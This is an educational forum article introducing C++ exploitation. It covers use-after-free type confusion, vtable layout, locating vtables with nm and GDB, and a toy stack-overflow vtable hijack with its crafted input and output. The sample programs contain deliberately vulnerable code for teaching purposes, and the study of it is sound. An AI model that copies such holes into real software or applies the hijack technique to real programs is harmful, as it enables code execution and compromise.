Hacking C++ (Part 1)

Hacking C++ (Part 1)

Introduction

Every high-level language has built-in mechanisms designed to make life easier for programmers. Like any other programming language, C++ provides a wealth of ready-made solutions. Programmers usually don’t know how these work. Not because the source code is proprietary or anything like that, but simply because they don’t need to. Some highly experienced programmers may be aware of certain things. But the vast majority have no idea that these solutions can also become a vector for attack.

The terms “bug” and “vulnerability” sound like two sides of the same coin. And in a sense, that’s exactly what they are. As a security researcher, you need to understand that a bug becomes a vulnerability when it allows an attacker to interact with internal structures. It doesn’t matter whether these structures were created by a programmer, are part of the language’s design, or are even managed by the kernel, if a bug exposes internal structures, it always leads to security issues. And you know what? C++ has plenty of them. A multitude of internal structures hidden from view. And this article will help you learn about them.

None of the examples given here fully reflect “real-world scenarios,” since vulnerabilities are much more complex in reality. And I don’t intend to write a JIT compiler just to demonstrate vulnerabilities.

In any case, this article will help you understand how C++ works “from the inside.” It will also explain how attackers can exploit these internal mechanisms to compromise a program and how to bypass C+±specific security mechanisms.

Type Confusion and Objects

The problem with objects

Objects are the cornerstone of OOP. We establish relationships between variables just as we do between real-world objects. A chair and a sofa are pieces of furniture; Alice and Bob are people; dogs and cats are animals. Sounds great.

All these abstractions work thanks to internal structures that store a huge amount of information about the object. Then an internal mechanism called RTTI (Runtime Type Information) reads these internal structures to determine the object’s type when we need to, for example, throw an error for that specific object type. And this is where the problem arises. With the right vulnerability, we can corrupt all these structures and misinterpret the objects. Logically, this is the same as overwriting a variable, but with additional steps. However, the consequences are far more dangerous, since objects often contain functions (also known as methods).

Thus, every object carries a certain functionality that can be exploited. This type of attack is called Type Confusion. The name speaks for itself. The concept of type confusion is actually quite broad, but in this article we will consider it exclusively from the perspective of objects, so as not to overcomplicate the article. Below is a example of how type confusion can be achieved.

UAF

Before diving into C++ structures, I would like to show you some examples of objects type confusion without involving complex bugs.

Use After Free (UAF) type of attacks are based on glibc heap management mechanisms. I will suggest you read Heap Exploitation For Dummies (Part 1) before moving on.

(Note that there are no virtual tables here, since there are no virtual functions or inheritance. This is simply an example of type confusion with UAF)

UAF vulnerabilities can create many attack surfaces, but all of them use the same pattern:

  • Allocate other entity with similar size to inject it in dangling pointer
  • Reuse the dangling pointer
#include <iostream>

class Victim {
    public:
        std::string data;
        void greet() {
            std::cout << "Victim says: " << data << std::endl;
        }
};

class Attacker {
    public:
        std::string data;
        void evil() {
            std::cout << "Attacker says: " << data << std::endl;
        }
};

int main() {
    Victim* a = new Victim();
    a->data = "Hello from A";
    std::cout << "Address of Victim: " << a << std::endl;
    std::cout << "Executing a->greet()..." << std:: endl;
    a->greet();
    std::cout << "Deleting Victim..." << std::endl;
    delete a;

    Attacker* b = new Attacker();
    b->data = "UAF";
    std::cout << "Address of Attacker: " << b << std::endl;

    std::cout << "Executing a->greet()..." << std:: endl;
    a->greet();

    delete b;
}

What virtual table is

Virtual table overview

A virtual table (Vtable) is a data structure containing the addresses of virtual functions, which are added by the compiler during the compilation phase. This is how polymorphism is implemented in C++. Whenever a class contains a virtual function, the compiler creates a Vtable for that class and adds a pointer to this table (Vptr) to each object.

For instance:

class Base
{
public:
    virtual void function1() {};
    virtual void function2() {};
};

class D1: public Base
{
public:
    void function1() override {};
};

class D2: public Base
{
public:
    void function2() override {};
};

Now the compiler will add a pointer to the virtual table at the beginning of each class.

virtual_table492×483 1.53 KB

Virtual table layout

Of course, virtual tables contain more than just pointers to functions.
This, how virtual table looks like inside in example of Base class described above:

Value Usage
top_offset Used in multi inheritance
typeinfo for Base Contains information about the object to determine its type
Pointer to virtual function1() Contains address of Base class function1() virtual method
Pointer to virtual function2() Contains address of Base class function2() virtual method
As I mentioned earlier, RTTI requires information about an object in order to determine its type. This is exactly what typeinfo does. You can see what’s inside typeinfo here.

Exploiting virtual tables

Finding virtual tables

There are two ways to find the vtable: static and dynamic.

The first method assumes that the binary file has not been stripped. In this case, you can easily determine the vtable offset. Simply use the command nm -C binary_file_name | grep vtable. You will see the vtable location for each polymorphic class.

nm -C ./a.out | grep vtable
0000000000003d68 V vtable for Foo
0000000000003d50 V vtable for FooBar
                 U vtable for __cxxabiv1::__class_type_info@CXXABI_1.3
                 U vtable for __cxxabiv1::__si_class_type_info@CXXABI_1.3

The second option is to use a debugger and the address of our object. Since every polymorphic object has a vptr pointing to the vtable, and this is stored in the object as the first pointer, we can simply read it. To do this, we need to print the address of the first pointer in the object. In GDB, this can be done using the command p *(void**)&obj.

gdb-peda$ p *(void **)&normal
$1 = (void *) 0x555555755d68 <vtable for NormalUser+16>
gdb-peda$ 

Or

gdb-peda$ p &normal
$2 = (NormalUser *) 0x7fffffffe590
gdb-peda$ x/gx &normal
0x7fffffffe590:	0x0000555555755d68  <- THIS, IS OUR VTABLE
gdb-peda$ 

Virtual tables hijacking

“Vtable Hijacking” is an exploit technique based on overwriting the vptr or modifying the vtable itself. This can be achieved in various ways: buffer overflow, arbitrary write, heap spray, etc. Let’s look at an example involving a stack buffer overflow.

This example will be demonstrated in an environment without any security measures. That is, without ASLR, PIE, and CFI, compiled using GCC.

#include <iostream>
#include <cstdio>
#include <unistd.h>

class User
{
  public:
    virtual void  function(void)
    {
      std::cout << "This is a function. Every user have it" << std::endl;
    }
};

class NormalUser : public User
{
  public:
    virtual void  function(void)
    {
      std::cout << "I'm a normal user. I'm pretty ordinary." << std::endl;
    }
};

class SuperUser : public User
{
  public:
    virtual void  function(void)
    {
      system("echo \"It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.\"");
    }
};

int main()
{
  SuperUser   super;
  NormalUser  normal;
  char        bad_boy_buffer[16];

  std::cout << "I'm gonna help you here to make thinks easier, but don't get used to that." << std::endl;
  void *super_vtable  = *((void **)&super);
  printf("Address of super user vtable: %p\n", super_vtable);

  scanf("%s", bad_boy_buffer);

  std::cout << "Compiler can resolve function pointers staticly, so to ensure that we gonna call function() from vtable, I will use our base object for that" << std::endl;
  std::cout << std::endl << "User *u = &normal;" << std::endl;
  std::cout << "u->function();" << std::endl;
  User  *u = &normal;
  u->function();
}
./a.out 
I'm gonna help you here to make thinks easier, but don't get used to that.
Address of super user vtable: 0x555555755d50
AAAAAAAAAAAAAAAAP]uUUU
Compiler can resolve function pointers staticly, so to ensure that we gonna call function from vtable, I will use our base object for that

User *u = &normal;
u->function();
It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.

As you can see, we’re overwriting the vptr using a stack overflow, and now our regular user will act like a superuser in certain cases.

There are various ways to hijack the vtable: by creating a fake vtable, overwriting the vptr with an arbitrary file, overwriting the function pointers in the vtable, and so on.

References

Next Part


Original post by Magnus, from the 0x00sec forum.